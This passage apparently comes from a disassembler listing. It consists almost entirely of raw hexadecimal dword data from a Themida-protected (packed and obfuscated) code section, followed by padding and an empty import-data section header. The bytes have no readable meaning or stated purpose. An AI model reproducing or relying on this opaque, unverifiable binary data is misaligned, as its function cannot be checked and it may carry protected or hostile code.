dd 890F6028h, 5, 775E55BEh, 0C3816108h, 7B5C649Dh, 0FC9BF0Fh
dd 580h, 8B665700h, 0F38B58D1h, 0BA66C68Bh, 8B66F38Fh
dd 0C4E781C6h, 6619ABADh, 0E90C1EBAh, 0Dh, 11D7C0A1h, 8A53C03Dh
dd 0F206EA6Eh, 0D3B70FDBh, 35C4B860h, 0B70F3A7Fh, 0BF5361C9h
dd 16C78189h, 8160FC5Eh, 0ED985DC9h, 0F2816605h, 0F561DA42h
dd 6870Fh, 860F0000h, 0
dd 10860Fh, 0E9530000h, 9, 84AA753Dh, 834D3551h, 0EB815917h
dd 56C4BBF1h, 0C850Fh, 8A0F0000h, 6, 0EFCECB81h, 0BB664E9Ch
dd 0F58A71A7h, 861FF081h, 8B661F61h, 0E18166F3h, 0EABB547Ch
dd 0E901DCF2h, 0Ah, 2FA464B4h, 0D9086294h, 80F91E1Eh, 8B6647EDh
dd 9E8F0h, 641B0000h, 857A5A9Dh, 0FB0F6E7h, 665FFFB7h
dd 0CC0DE381h, 8E9h, 5CCCD300h, 9D59CBB3h, 8B5A52BDh, 0D1CAB8D9h
dd 0FEBA2002h, 0F4031F4h, 389h, 0FA8B6600h, 0FFBB70Fh
dd 890FCBB7h, 3, 0E9F28B66h, 0Ah, 0D48AD1B1h, 8250F936h
dd 830FCB60h, 9, 3850Fh, 0F1800000h, 12BE6665h, 12E9DDh
dd 7DA50000h, 94D0B25h, 0DF60D6D8h, 18D6403Ch, 8D2F53D3h
dd 18E08166h, 0FC8A5731h, 68D0F5Fh, 81000000h, 27926DF2h
dd 0F18B6642h, 83D448BFh, 0F8C6811Dh, 6619972Bh, 850FDF8Bh
dd 0Ch, 68A0Fh, 0E0810000h, 3ED1EC5Bh, 8FE280F5h, 0C38B6653h
dd 8166515Bh, 5E3B78E7h, 11E9h, 5F8F1200h, 59E83CC7h, 3BEBC2CCh
dd 0B598A60Eh, 81F9E100h, 68EA64CAh, 0EB816607h, 17BB0424h
dd 5705AF49h, 5BF2B70Fh, 9E9h, 0B4DCD00h, 12BD91B5h, 7BBE4C16h
dd 664693C6h, 0BE66D78Bh, 5DBA3E6Dh, 0E8400F0Fh, 8, 6725089h
dd 0BD957ACAh, 0D18B6650h, 0BB66585Bh, 8B6606CAh, 0F7B70FD3h
dd 51CABF0Fh, 6EBA6650h, 0F5F5E30h, 1787h, 12E900h, 23D40000h
dd 9F1B7DABh, 651462E8h, 0E4A9885h, 8F07E5C7h, 0FE8B6651h
dd 11E95Eh, 0E8C00000h, 35A223BDh, 0B5844E50h, 0CBBF1954h
dd 0E8496875h, 0Dh, 5B506896h, 1A1D6749h, 0F697EE63h, 0CE9E0h
dd 0CC0000h, 8AAC5E5Eh, 981A5021h, 0F5FD2F9h, 284h, 0E9FA8B00h
dd 9, 7F463877h, 0F41F6E79h, 0D18BF579h, 0D4F08160h, 6616B34Ah
dd 451CC381h, 0BE961h, 0A8020000h, 0C5B98C77h, 0DAE12B8Dh
dd 0C8816665h, 81564825h, 0A24E54F2h, 5E95E71h, 0F5000000h
dd 38F2A5B0h, 10E9h, 0A7B5E900h, 48E21701h, 2BE47770h
dd 0F866975Eh, 880F18h, 66000000h, 0E381F28Bh, 4AF6DFBDh
dd 6830Fh, 0C7810000h, 56BD1DB1h, 14E9h, 36497800h, 0CA58B624h
dd 727EF89Ch, 5FE38BB4h, 0C1BC55CBh, 0FE990h, 6AF40000h
dd 0BE9AF175h, 16E3349Bh, 0C4A46B13h, 8BD38BB2h, 0F8BF0FCFh
dd 60FABF0Fh, 1860Fh, 80FC0000h, 60616AC8h, 12E9h, 202A1E00h
dd 0F1017938h, 1DF5B4Eh, 0E134611Fh, 0E8D30F8Dh, 0Ch, 0C5758679h
dd 385D4AF1h, 0E3F6688Ch, 7E9h, 39C3C800h, 147EC2D1h, 7CB6615Bh
dd 502BB1BFh, 13800F6Dh, 0E8000000h, 0Bh, 520805ECh, 0F0D6A89Bh
dd 0B3527BE7h, 8B0F5837h, 5, 0E2CB68B8h, 0AE95067h, 4A000000h
dd 8985BCF9h, 482400D2h, 0C28B5A72h, 9E9FE8Bh, 0C4000000h
dd 0BBB34C82h, 671577A7h, 5E8h, 0DA76100h, 0FC6063D4h
dd 6149EC80h, 32B35059h, 88C0F5Fh, 0F000000h, 281h, 57616000h
dd 0FE8h, 2E4F8A00h, 1B60F2FDh, 9DB97450h, 0D7F3A15Dh
dd 585B5E53h, 0FA79F681h, 0FFC12FDh, 0ECBAD0B7h, 0E9338C5Ah
dd 8, 24A24008h, 0DA7DB862h, 8C0Fh, 7E90000h, 71000000h
dd 0D14E47DFh, 850F5409h, 4, 5EC78B50h, 9E8h, 549DE600h
dd 0FA1CADE1h, 81584CA6h, 6708BBF1h, 38E0F2Dh, 0F000000h
dd 0EE9CBBFh, 0E000000h, 0E6104E24h, 0BAFF1AC1h, 4EA70CCFh
dd 8E8F1h, 0F9D0000h, 5C380D63h, 665FD4BFh, 0DC8ADA8Bh
dd 0E9D18B66h, 14h, 0FF2EA1DEh, 51BCC56Eh, 7DE8803Dh, 1D68D90Ah
dd 0A1401DA5h, 8A60C88Ah, 11E8EFh, 0FFCE0000h, 23B868CEh
dd 2D930AAFh, 209F7F4h, 0FC87F5D1h, 0D981615Ah, 58A25789h
dd 0DE8D38Ah, 0AF000000h, 0E3C101E9h, 0C50EB80Dh, 907BDD9Ch
dd 11E9h, 708C000h, 2415178h, 0BA7E70D9h, 0F760A78h, 665B5CC2h
dd 764EDE81h, 10E9h, 0F067100h, 7C0C16D2h, 561D4B46h, 0B841274Ch
dd 66C38BD2h, 0FB8BF38Bh, 8BF78B66h, 14E9D6h, 27340000h
dd 0C5758679h, 385D4AF1h, 0E3F6688Ch, 248160D8h, 0BF0FAFFBh
dd 0C98166DAh, 8B66CF32h, 0BF0F51DEh, 0BF0F58F2h, 0C18B66D1h
dd 3FBED38Ah, 0B61208E0h, 5E912h, 0F4CB0000h, 51A1B185h
dd 0EEE1C381h, 665F220Eh, 66E59ABEh, 0E855F7BFh, 7, 196C3AFh
dd 0E98D3670h, 0Dh, 20FFE08Dh, 0B6114E87h, 77567683h, 5360597Ah
dd 19C38166h, 8D0F5BDCh, 4, 1FF8B966h, 0CE861h, 4B0A0000h
dd 80041D81h, 18468BA9h, 8F0F4F23h, 14h, 0FE9h, 0AF187200h
dd 59977769h, 6E9E8BC1h, 9283B2B6h, 58E0F59h, 0BF000000h
dd 38FB3CAEh, 781BD081h, 14E96808h, 1E000000h, 2B2C6EF4h
dd 54E89106h, 3D326E02h, 7FC63B63h, 0E9E69FF9h, 6, 984D0856h
dd 8057D882h, 0F5A3EE5h, 0BF0FDBBFh, 0D68166F9h, 0BB66EAD0h
dd 0D1813191h, 0A960137h, 0D9D6BE66h, 12830Fh, 0DE90000h
dd 84000000h, 0BBC9F42Fh, 0CDF2D875h, 1C30983Bh, 0E9C88B66h
dd 5, 9EF83CB7h, 0C281F53Dh, 2147B6CDh, 810Fh, 8A0F0000h
dd 8, 50D08152h, 5A0B86FDh, 0DA58C7B8h, 8E0F5353h, 6, 0FE02EB81h
dd 0F5867EDh, 1A8Dh, 0CE86000h, 4B000000h, 3D78630Ch, 436134E1h
dd 5B630B73h, 8D0Fh, 81610000h, 336E69C1h, 7E863h, 1D8E0000h
dd 5947D07Bh, 5E4DB551h, 490AC2BBh, 10E851h, 8C520000h
dd 0DD17F20Ah, 0C866A7F4h, 0AA1ECD27h, 5BF58AFFh, 0FC6B70Fh
dd 584h, 8BF56000h, 0B70F61FBh, 0FA8B66FBh, 88C35CB9h
dd 0E8FE8B47h, 8, 0F1BC65D5h, 0D56564A3h, 0DBBF0F5Ah, 0E9C38B66h
dd 13h, 82CC99D1h, 66BE3F04h, 0F022BD61h, 5A8D3A53h, 66A8484Ah
dd 6694DEBAh, 860FF28Bh, 4, 1119BA66h, 0A3CC80F9h, 615B5260h
dd 0FFABF0Fh, 0D8Ch, 8E900h, 68C90000h, 65C12B2Dh, 8EBE67E0h
dd 0E968323Fh, 9, 42DEBE67h, 16779207h, 8E9DFh, 0BE270000h
dd 212EAB9Eh, 0D280038Ch, 66EDB8CFh, 0E88A41FAh, 0D68B66F5h
dd 0F480CF8Bh, 0B70FFC7Ah, 91BF66C7h, 8BB8603Bh, 606E3A9Ah
dd 616160FCh, 1B830F61h, 0E8000000h, 13h, 0F07499A9h, 76072635h
dd 486C7DC2h, 7243AA2Ah, 5721AB47h, 8B665959h, 87F780F9h
dd 0C2ABB866h, 12E8h, 88612B00h, 3B80E621h, 0A99C518Dh
dd 53C6D74Fh, 0F54A0130h, 0DE95359h, 0F9000000h, 9314D0D2h
dd 15A7F9B7h, 66F5D617h, 5BBB665Eh, 0B9F56011h, 1714A835h
dd 0F3DC8061h, 8C0FF28Bh, 6, 10A0F081h, 0FE8179Eh, 3000000h
dd 0B0FBB735h, 433F3F8Bh, 6309A631h, 0B70FBE27h, 2BE58D6h
dd 801BBC93h, 0BCB367ECh, 0F681FE8Ah, 2F966594h, 66F38B66h
dd 0BBF8D7BEh, 4073FD7Dh, 0FE91B866h, 1A18BB66h, 0BF0FC38Bh
dd 874CB9F1h, 0E8814050h, 19B0E25Bh, 66C2BF0Fh, 8AB32BBBh
dd 6ABA66DEh, 8B66602Ah, 8BF861F9h, 0BDCF80C6h, 0BE665660h
dd 815AD431h, 72AB6DEEh, 81FC6147h, 68433DE6h, 3850F29h
dd 80000000h, 14E94ADCh, 5C000000h, 0FF1DAAC4h, 7EF4AE47h
dd 5A762F56h, 5BC954A5h, 0BF6A67D0h, 73785820h
dd 880FC18Bh, 0
dd 6E957h, 0F2660000h, 99FDBF7Bh, 10E85Ah, 8BEF0000h, 963A72DCh
dd 0E147E82Ah, 87F6649Eh, 0BA66E1F4h, 665B3ECAh, 8166F18Bh
dd 815055CFh, 4FC04EC1h, 85B86646h, 7CBA57ACh, 5E1811C8h
dd 0BF6AF081h, 80F5592Bh, 3FB208CFh, 3709E281h, 0CE80DD9h
dd 0FC000000h, 0E73C5482h, 0FC9674C7h, 602DDEE3h, 8D0Fh
dd 61F50000h, 0D8E9815Bh, 8A027307h, 0CE9C2h, 9A0E0000h
dd 94A094A5h, 559A1E7Dh, 14E9BBB5h, 0A1000000h, 731F436Dh
dd 3349BFA7h, 0D08BD3B0h, 3FE22CB7h, 663668CCh, 0CA3AD281h
dd 0D7A4D681h, 0E851183Fh, 11h, 75231EE4h, 0ABC025B0h
dd 0D2E4C098h, 2B82DD2Dh, 5F7BB00Ch, 203ABF5Ah, 0C181184Ah
dd 767D505Bh, 0D78B6050h, 0BF665861h, 665684AEh, 605AD68Bh
dd 0E1816660h, 8E97AFEh, 0ED000000h, 958D37DEh, 61404076h
dd 0F615A53h, 0B866F0BFh, 13E946EBh, 0D0000000h, 5426B0A0h
dd 87672370h, 7280E7EFh, 7A6E1AD6h, 47B4A771h, 0CE9CE8Ah
dd 7E000000h, 59167917h, 0D1C59572h, 811E43B6h, 0B2B5DEC0h
dd 29F68103h, 0B6568E2Bh, 1BF781AAh, 0F68043Ch, 1380h
dd 0AE800h, 0D4510000h, 85C07F17h, 92BED3F5h, 59CA8B66h
dd 8890Fh, 81560000h, 0F3FF6AC1h, 850F5B34h, 3, 66F1B70Fh
dd 0E89370B8h, 8, 0D650AD6Dh, 64578BA8h, 61D08166h, 0D88A5FFEh
dd 0CE956h, 63D90000h, 0AE1C6177h, 11DBF903h, 0F95AD0B9h
dd 0CC80D58Ah, 0E9F88A3Dh, 7, 0E138F886h, 0FC6C929h, 8Bh
dd 0EE95600h, 0F4000000h, 933B7E53h, 0BEB7524Ch, 4E12DAEh
dd 816658D4h, 66D7CCC2h, 0BE66C18Bh, 81F5445Dh, 2631A2F6h
dd 5E825h, 30A00000h, 5EA2D974h, 81F7BF0Fh, 91E309CFh
dd 0F78B6630h, 0F18BF960h, 0CF8B6661h, 11E9h, 0F943C700h
dd 0C18899Bh, 958815BEh, 0D7BDF4C3h, 0BF66D964h, 860F7E26h
dd 5, 14A1B7BFh, 67BB6648h, 0DE8B6635h, 0BF0FEC8Ah, 14E860F9h
dd 0BD000000h, 0C2D31900h, 6C6E34F8h, 0E72E9913h, 79EC8A99h
dd 663B30CDh, 815AD88Bh, 0CA977BE9h, 0CE86119h, 0AE000000h
dd 5BD27244h, 5C56AD43h, 66830FBDh, 0CFDBD681h, 0FC38A5Ah
dd 387h, 30C68000h, 0FE951h, 0F90D0000h, 0B42C517Dh, 9453EA9Dh
dd 0B5DF6F66h, 0DE9593Dh, 55000000h, 7F594DDBh, 9F881F92h
dd 806A31BFh, 9E8h, 0F747CE00h, 731A4D82h, 8166E130h, 58DCFEC0h
dd 9E9h, 0FCAA9D00h, 0E5DEEB37h, 0BB66B6B8h, 830F86B4h
dd 15h, 10E9h, 50B09A00h, 345F8673h, 1B93F877h, 0D4565545h
dd 0D38DBAF2h, 0B70F6F28h, 0C88166D0h, 0FE90BA0h, 50000000h
dd 9B27B65Dh, 693FE52Fh, 0F4435427h, 8F0F053Dh, 5, 33CE8166h
dd 0ABF6631h, 8850F42h, 0F000000h, 282h, 0E8DE8A00h, 11h
dd 0FC907BDDh, 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 2850F22h
dd 60000000h, 810F5B61h, 10h, 0BE9h, 6F6B6C00h, 79E519CAh
dd 0E01A88B4h, 13E9h, 218AAC00h, 0F9981A50h, 9314D0D2h
dd 15A7F9B7h, 66F5D617h, 5F506060h, 0F61C68Bh, 288h, 61616000h
dd 0EE8h, 19DBC100h, 6AE2D934h, 71941453h, 5A9E70B9h, 7DE2C281h
dd 816603A8h, 0E9A165D0h, 8, 14A29061h, 6FA97C25h, 1CC2CB81h
dd 0E8574A02h, 13h, 5B9030BCh, 9156D889h, 550F9F58h, 18313D48h
dd 66722024h, 595FDF8Bh, 64E18166h, 58A0F8Fh, 0B9000000h
dd 6B8C51D8h, 0BE960h, 7E6E0000h, 61BA9128h, 24C83D49h
dd 6E910h, 0CF440000h, 0E5523A76h, 956FBB61h, 0BE660765h
dd 0D38BD6C9h, 0E9D0B70Fh, 0Dh, 856AA4C1h, 0C4C50617h
dd 0F4F167BDh, 8E93Bh, 0F6AD0000h, 1BF5DD1Eh, 0D0809D97h
dd 28C0F2Ah, 0B6000000h, 8E98Eh, 0A7E40000h, 1AB31D96h
dd 14E8D519h, 6A000000h, 12D8158Eh, 993C6663h, 4C271101h
dd 7A0FBEA6h, 8B1D2718h, 3B958F7h, 6650F364h, 0DA8ACB8Bh
dd 0EBBB76B4h, 6638A03Fh, 669308BEh, 816A0FBEh, 0C9944ED9h
dd 0D5E1814Fh, 667D63E7h, 0F60B8BFh, 8166F1BFh, 0F8424CE3h
dd 0F9B70F60h, 6E9h, 3BB11F00h, 61AAB1ACh, 28A0Fh, 85B40000h
dd 0A9573ABEh, 58DE813Bh, 0BF36C2B9h, 4F5B47B5h, 0FF9B70Fh
dd 58Bh, 0F7816600h, 0B866530Dh, 0D98B70EBh, 6E85CB5h
dd 73000000h, 4D5212E1h, 0D981606Ah, 6080A7C5h, 5A61D18Bh
dd 0B8B883B5h, 0E96294D1h, 0Ah, 3679F764h, 6608E914h, 0EE92E1Bh
dd 97000000h, 9A618DCBh, 0CE145DCEh, 0EBA633F7h, 0F98B66BFh
dd 0DE9h, 0D21F5C00h, 81BEE0C6h, 0E743F1Ah, 12E97C49h
dd 0B000000h, 0CBDF4545h, 5154CDD5h, 637899A5h, 97B4FE04h
dd 0DE8566Ch, 65000000h, 0F821921h, 125F741Eh, 8032E3F0h
dd 8F0Fh, 5A5E0000h, 0FE9h, 8099DD00h, 77D7F634h, 0DD400945h
dd 8671AB77h, 2830F60h, 8B000000h, 4A95B8C8h, 81614E0Ah
dd 0F9B60EF2h, 1800F32h, 0F9000000h, 8B60F7B1h, 13B866F1h
dd 3BBE6124h, 0E97A4700h, 6, 3838A95Fh, 8E0F40A1h, 1, 9DA80FCh
dd 650DE281h, 12E911CCh, 35000000h, 81403D91h, 853D7404h
dd 5A21B460h, 0CCC3EDF6h, 17810F2Ch, 0E9000000h, 12h, 46E8E306h
dd 0B779262Fh, 15E72A8Fh, 104F0CD7h, 0BE6646B1h, 0CE94A75h
dd 0DE000000h, 913D68F9h, 96447F5h, 0F5083381h, 8BA2F080h
dd 0FD78BCBh, 0B8Ch, 58D0F00h, 66000000h, 7D8FE681h, 2F53BA66h
dd 0D87CBA66h, 0DE8h, 3080B500h, 0C6AD3314h, 0D51B4309h
dd 8166F01Dh, 5FA685E2h, 44F38160h, 515C6A9Bh, 5E9h, 6EFE5E00h
dd 615E2ED6h, 48A0Fh, 8B560000h, 0F5605FCEh, 6D91B3BFh
dd 0CE9616Bh, 0E5000000h, 39A9447h, 0ED239685h, 8B3C200Eh
dd 0DE8B66F9h, 14E9h, 5556B400h, 7D8BDE19h, 5F9F683Bh
dd 55DA7197h, 0CD665275h, 0E68166E7h, 0DE9DCBDh, 0CB000000h
dd 9C9654CCh, 0D554A104h, 2647C710h, 1BCE8166h, 0FE9CDh
dd 62100000h, 0CC75476Ch, 0EC54725Eh, 0BCF7B1A3h, 0EA81F56Bh
dd 7160D7BCh, 0FF0BF0Fh, 388h, 8BD48000h, 28B0F60h, 8B000000h
dd 2840FF7h, 0B2000000h, 8B666143h, 0FE9F5D0h, 0DE000000h
dd 908B1336h, 0F54234ACh, 1D48352Ah, 0B866E9C5h, 0E9FC9992h
dd 9, 6EA445C8h, 0D56F3C9Ch, 810FF9h, 0F5000000h, 0DE9h
dd 740FD800h, 47C9B8DEh, 627B5788h, 89B91035h, 0F78178Eh
dd 0B966F1B7h, 8A0F22E5h, 3, 0F5FFC57h, 38Eh, 0C2B70F00h
dd 1DBA6660h, 76DA805Fh, 0B70FF561h, 14E9DAh, 772A0000h
dd 0F713229Eh, 0D62C0B5Eh, 8C555B6Ch, 3124C717h, 8A0F33C1h
dd 3, 0E9CE8B66h, 0Fh, 0BFF7FA2Fh, 91CD4019h, 28B5B065h
dd 0E81AC02Eh, 13h, 0C255A912h, 571CF8DAh, 74B007Fh, 2D21B105h
dd 0FDAF46Ah, 665AFABFh, 8E9F78Bh, 35000000h, 0AFF2A37h
dd 0F6C1243h, 1B8Fh, 13E85000h, 42000000h, 16779207h, 59D852DFh
dd 0C874119Ch, 39DE5775h, 595B01A6h, 6E9h, 0E8F74D00h
dd 0F4D958Ah, 582h, 0E7816600h, 8166BBABh, 0E80110DEh
dd 6, 72F6E92Ah, 5FBB54BCh, 5E5820E9h, 14E9h, 4A643200h
dd 0FC3D5552h, 3B5ADF0h
dd 1909CC8Eh, 6B043E5Ah, 0D2B70FA7h, 6665C280h, 1D98DF81h
dd 0F50BBB66h, 6F8DBB66h, 0CB816660h, 0BA666D9Ah, 80619357h
dd 0B7F96EC7h, 5830F2Ah, 0B9000000h, 126CE823h, 0FE8h
dd 9D3BF000h, 3FB9B657h, 0EDFA21Dh, 9563D742h, 2771C781h
dd 575A75ACh, 6EDF805Fh, 0FDBB70Fh, 0DC8AC6B7h, 0F7C18166h
dd 0B1EB812Ah, 0F8187E04h, 5609C281h, 0CB8B6EE5h, 0AFA939BAh
dd 38A0F05h, 0F000000h, 0B866C8B7h, 66533229h, 4563EB81h
dd 0D38B665Bh, 747167BFh, 0A00DB87Dh, 9E936D7h, 44000000h
dd 1A92D0C0h, 0B3279E62h, 0FCFBF0Fh, 0C78BF7B7h, 14E860h
dd 1BF80000h, 8AD7B348h, 99F704FAh, 500B427Ah, 8FC8DEC4h
dd 870F2F15h, 0
dd 0B70F615Ah, 61E4BED8h, 8F0F680Eh, 2, 0A0BAD18Ah, 0F496FE8h
dd 284h, 0E9FB8B00h, 0Ch, 2E645665h, 25B92CC4h, 36A8FB0Fh
dd 0BE9F8h, 507C0000h, 58EA802Fh, 4CA473CEh, 0DE8B660Dh
dd 0F77BBA66h, 86A6D781h, 850F7544h, 0
dd 10E8h, 4FC93000h, 94F02D77h, 2EF86C4Dh, 46780610h, 14E9BFh
dd 67200000h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 0BF0BBF59h
dd 0B65A26CDh, 0DBCD80EDh, 8166C78Ah, 0E92BC9D7h, 13h
dd 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h, 0B7855963h
dd 0DE974h, 2D220000h, 82CF10ADh, 659382B5h, 8177FC6Ah
dd 0D66948CFh, 0D98B600Bh, 79B3E981h, 8A6109A7h, 0E96FB0F4h
dd 0Eh, 797154ADh, 93B2A6D8h, 2654DC95h, 8B661040h, 0F6BABFC3h
dd 0F607384h, 68Fh, 8F0F00h, 0F000000h, 680h, 830F00h
dd 61000000h, 66D3BF0Fh, 7C40C881h, 0BE9h, 0B098BB00h
dd 85249BCEh, 0D1EC2261h, 0DE952h, 0F5710000h, 0C3191027h
dd 0FD4A9158h, 59862EF6h, 5E23B966h, 830Fh, 7E90000h, 0C3000000h
dd 737A608Bh, 8B668490h, 0E9F560D8h, 0Fh, 3A15C0EFh, 0F666CD7Fh
dd 83468421h, 61F04046h, 0AA4BB866h, 0E95778B2h, 14h, 8C8EC367h
dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh, 0B8BE665Fh
dd 0FDBE6625h, 6E26BA7Ah, 0B966244Ch, 0E080505Dh, 8B66600Dh
dd 0C08166F0h, 6661F384h, 8511CB81h, 0D8A0Fh, 8E90000h
dd 9C000000h, 4529B533h, 0FC70A4Bh, 0EF80D2B7h, 0FA8B6659h
dd 2850F57h, 60000000h, 66515A61h, 60BCE181h, 66C78B5Eh
dd 0E8205ABAh, 12h, 5CD9A641h, 5D21410Eh, 0D04A32DDh, 0D85C433Ch
dd 816667B3h, 58107CEFh, 0F6C18166h, 0EE8A1h, 0C9B00000h
dd 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch, 8B5AE58Ah, 6E9C1h
dd 0F8D0000h, 3B7FF8D3h, 4359BB66h, 50FB8B66h, 13E9h, 7D4FAF00h
dd 46FF1657h, 0E1D3304h, 68DCE990h, 15749C26h, 5890F5Ah
dd 0BE000000h, 3D8D8A55h, 0EE9F78Ah, 0BE000000h, 54CA00F8h
dd 0D7025FA4h, 7CFEFC23h, 0D4D4BAD8h, 0D3BE6171h, 5251DCE2h
dd 12E9h, 1AF64100h, 14C9170Eh, 2C6D41Ah, 74F88278h, 58F8F081h
dd 0AE8h, 2E869000h, 0A448696h, 5955199Ah, 0F8BB060h, 28Ch
dd 61616000h, 0D3BF0FF9h, 6E8h, 17038C00h, 66AF1964h, 60B6E081h
dd 5F1815Bh, 81650231h, 1FB71EFh, 6E931h, 9010000h, 5075C324h
dd 14E9h, 0F0BD4F00h, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch
dd 0FBECEC6Fh, 0D6816097h, 6B7BA0D7h, 9E961h, 3F8E0000h
dd 46FABCD8h, 50FBC1A9h, 0F605BF9h, 1184h, 0BE800h, 12590000h
dd 0DFE6B63Ah, 378D19A2h, 6E85AF2h, 24000000h, 0F53EAD5Bh
dd 5BC38B3Eh, 53FE8B61h, 605FBDB4h, 0FC88B66h, 6661C0B7h
dd 0E8AD03BFh, 8, 4526539Ch, 0BDEEE972h, 11E95FF9h, 3D000000h
dd 1EEEB8EDh, 690F8385h, 618DCB97h, 145DCE9Ah, 13E9h, 12615500h
dd 0B1B73BD2h, 77BC0343h, 84F78910h, 69006D4Ch, 5E1BD281h
dd 8B663371h, 4EBF52FBh, 583FA794h, 98C0Fh, 8C0F0000h
dd 3, 0B8FFC480h, 0D53F6D7h, 0FE9h, 502D5700h, 0E46CD956h
dd 7C5C87CEh, 958040B6h, 20C88166h, 0C6BF0F69h, 0AE860h
dd 0F9720000h, 6D29ED54h, 4AA5783Bh, 5B9AD780h, 0D1BF0F60h
dd 61616160h, 3850FFCh, 66000000h, 60F8F98Bh, 703EBF66h
dd 61CB8B66h, 0BDCB8166h, 0F53603Ah, 0B85BF8BFh, 7ECB1D5Ch
dd 12E961h, 39000000h, 0C861EBE0h, 0F18C4FD8h, 0D4F58C13h
dd 5EA12E2Bh, 8166DE8Ah, 0FE02AD9h, 8166CFBFh, 0FF4DADBh
dd 0D081C6BFh, 78C936Ch, 0E9FA8BF9h, 0Dh, 6FEE2B14h, 0E9653017h
dd 192DD69Fh, 12E986h, 0E20D0000h, 0BC2AA296h, 436640ACh
dd 6E66B54Eh, 0BA19A9CEh, 0CEE28152h, 592071A1h, 60CAB70Fh
dd 0FC7D080h, 489h, 54B96600h, 0BDB56119h, 20840Fh, 880F0000h
dd 1Ah, 14E8h, 0CC916200h, 62FAA03Ah, 0DB7313BEh, 5BD74A33h
dd 66F1A996h, 870F59E2h, 8, 2890Fh, 0FA8A0000h, 84F18166h
dd 0D2A1B9D0h, 0A7BA5B0Eh, 0E87664C3h, 11h, 0E372C755h
dd 0B9CAB34h, 510C011Ah, 3FF6CCADh, 15D780B0h, 48E0F58h
dd 51000000h, 6058C3B5h, 0BE8h, 97E74C00h, 0C8CA3C89h
dd 8E179D7Bh, 0A5EA8166h, 0BE6659A6h, 0F96166C1h, 12E860h
dd 0DE930000h, 52650B1Dh, 0B2C1CEB6h, 0EC4FB834h, 0A98C07CCh
dd 0EE8h, 2D35900h, 3D97BBC3h, 8A7CB036h, 5FBAA491h, 1850F58h
dd 0F8000000h, 2820F61h, 56000000h, 66F78B59h, 60FBAEB9h
dd 0EE9h, 0B7BA1700h, 8A2C1F16h, 6EAC22A1h, 535287B4h
dd 6E9h, 8F01EF00h, 5A76E5D4h, 58E0F61h, 66000000h, 0E1FDD081h
dd 0F372D1BEh, 7E874h, 0D8C50000h, 611DCCA2h, 10E9CAh
dd 5CF60000h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh, 605ADA45h
dd 8E8h, 389AC300h, 19350513h, 8B0FFEh, 58000000h, 0DE860h
dd 0DA80000h, 883B5D1Fh, 41B2DCCBh, 5A9B441Dh, 13E8h, 65C61100h
dd 2E650F2Fh, 0E1CD10BBh, 0BF098AA4h, 79D7F8FBh, 0B961615Eh
dd 1FCC95B6h, 2870Fh, 0E6B00000h, 38E0Fh, 0B70F0000h, 7E9D1h
dd 0A1980000h, 0B9150920h, 7E91Ch, 85120000h, 0A96E5B0Fh
dd 1F39BA79h, 99BB24A4h, 8B70D09Fh, 0FCFB8BF8h, 6E8h, 2B404700h
dd 81285F4Ah, 0FA95E5D9h, 0DB815F4Eh, 57A61B89h, 14E8h
dd 0ED134000h, 0D804353Eh, 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h
dd 800F2Fh, 5B000000h, 81AFF180h, 0BBED8BD8h, 5890F7Ah
dd 66000000h, 4708F181h, 0FF18B66h, 382h, 0FABF0F00h, 65D38166h
dd 860FF5F3h, 0
dd 840463B8h, 0FBA663Dh, 128A0F27h, 0E9000000h, 0Dh, 19EFF9AFh
dd 5F2C6250h, 87073DAh, 820F60D7h, 1, 0EB8166F9h, 0E9610369h
dd 0Ah, 0E276E705h, 0DCA3E9F1h, 0FFCDCEAh, 6653CAB7h, 5941F8B8h
dd 860FDF8Bh, 3, 0FF8BF0Fh, 686h, 8E0F00h, 0E9000000h
dd 14h, 0C59948D1h, 2B5778ADh, 42A032C3h, 0DD6FD429h, 3727525Ch
dd 0FDAB70Fh, 280h, 0E9CA8B00h, 0Bh, 0C805ACEFh, 7FB9769Ch
dd 0FADA432h, 0CA81FABFh, 75252623h, 8C0F2BB1h, 3, 0F4BC680h
dd 81h, 86DB8100h, 662D958Bh, 57F8C3B9h, 0DE960h, 5EB10000h
dd 0B2A8B1Dh, 0D4F147F8h, 0B3BA1877h, 0F5B6149h, 0B70FCABFh
dd 0DE8160CBh, 42635B52h, 6860Fh, 0C6810000h, 1DE30EB3h
dd 0D6E98061h, 0CF8B5B53h, 79DF8157h, 586D11A0h, 6E95953h
dd 77000000h, 0FE9983CFh, 9E9F7h, 7E530000h, 524C933Bh
dd 0E8AEBEB7h, 8, 483E3613h, 6E6199DCh, 0EE8h, 6C1A3C00h
dd 80A221Fh, 4817B7F1h, 0B741C16Fh, 0F95F5BDDh, 5860Fh
dd 42BA0000h, 0E87D634Eh, 5, 0C480EC5h, 59D78BCEh, 0A976B9FDh
dd 11h dup(0A976B9FEh), 8F76B9FEh, 7Dh dup(8E2B47E6h)
dd 6D21B3BAh, 142h dup(6D21B3BBh), 8E215BBBh, 166h dup(8E215BE0h)
dd 0D1805A08h, 52Fh dup(0D1805A09h), 40Fh dup(7F20F090h)
dd 0CCCCCC90h, 786h dup(0CCCCCCCCh), 10Fh dup(0)
Themida_ ends
; Section 5. (virtual address 00171000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00171000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 571000h
align 2000h
_idata2 ends
end start